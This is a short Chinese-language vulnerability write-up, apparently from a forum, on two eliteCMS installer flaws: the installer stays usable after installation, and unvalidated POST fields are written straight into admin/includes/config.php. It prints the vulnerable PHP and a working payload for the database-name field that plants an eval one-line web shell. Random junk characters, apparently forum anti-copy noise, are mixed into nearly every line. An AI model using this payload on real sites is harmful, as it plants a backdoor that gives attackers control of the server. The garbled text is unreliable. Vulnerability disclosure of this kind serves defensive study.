eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
: ?7 B+ b$ S* {* P7 w4 W) Q/ ~2 s
/ L5 w0 p* f0 R! L8 R& i4 P" W4 N5 a另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
5 O5 x8 B+ a2 S8 }; T1 `7 {; E我们来看代码:
& J3 C# H7 |* k# n+ }( P% } B! L& |
% Z# F' k/ {: o: a. E7 U...
8 B; g- M. B7 h* o, _3 j6 m. pelseif ($_GET['step'] == "4") {7 V v' z8 \$ \: Q5 u/ U
$file = "../admin/includes/config.php";
6 R* G2 _' F1 k9 g" x* _ $write = "<?php\n";8 i5 Y- v( h8 @, U
$write .= "/**\n";
$ W2 h; @. M. L) S4 M+ [ I# g $write .= "*\n";6 E1 z+ R! ~8 P8 R9 I/ G
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";# Y' x4 ^- z5 m1 x. }4 o
...略...) d. M# J. m& s. e
$write .= "*\n";
6 p/ t4 {$ U3 e+ x1 d2 s $write .= "*/\n";. X0 P: R* \" F& e* j; N8 H1 ?
$write .= "\n";0 a- z) I! l& Q7 Q r
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";+ ?- k4 D6 l3 D8 C9 O
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ `3 p+ R. f. T- W7 s: f
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";) M$ @8 C+ p8 q. ~
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";- N# b5 h* Q( f+ V6 m! `: o9 a
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
7 [. p# j# t: q; N7 p8 B $write .= "if (!\$connection) {\n";
9 H" Y0 Q# V p3 }5 o# ~ $write .= " die(\"Database connection failed\" .mysql_error());\n";2 @1 j" \8 j0 [0 W4 D0 @1 h1 ?
$write .= " \n";6 Z/ M+ t& A! ]- H! S% S
$write .= "} \n";
1 b# b! e) S( A $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 j8 G2 L& [7 S4 I' H+ s6 l1 d: d $write .= "if (!\$db_select) {\n";
, \" F, c, v- u5 f: T $write .= " die(\"Database select failed\" .mysql_error());\n";
" N& t. q9 P9 ~& u; Z8 R( G $write .= " \n";3 ?- J/ R$ t6 p! o; d! _* w2 C' n
$write .= "} \n";
5 x. Z9 f9 U' ^& n- T. b: a $write .= "?>\n";& n6 O) ^! O" {8 U$ x+ p; T
3 {+ p& N" T9 n, Y( X$ b* R5 m $writer = fopen($file, 'w');! S- h6 r2 i1 S$ w3 i- d5 l8 Z
...- t4 p6 Y( ]; t5 G7 C
# P! \: I. @+ K在看代码:
* k. I( J6 Q" O' z4 a: I' s 0 v, j1 ~2 a* w) z$ ]; ]
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 Q. Y' @( F) |" t$_SESSION['DB_NAME'] = $_POST['DB_NAME'];( H+ V( a* v. r
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ P8 @ Q1 _/ N0 i, b1 d4 G$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
5 z2 D7 g5 n5 B! a8 p; r: y 5 b/ J/ ~3 b3 i/ q1 c1 h6 c$ U
取值未作任何验证6 u6 l' F" c# G
如果将数据库名POST数据:/ S: Q: p. [% E+ Y1 L* D
0 N2 G5 S$ P7 N, i
"?><?php eval($_POST[c]);?><?php
$ k9 C0 t6 G% b8 Q2 Y. I! B6 ]
0 f' x6 t: m' G8 Y; B! [将导致一句话后门写入/admin/includes/config.php& M# z1 M. Y7 Q2 S9 l
|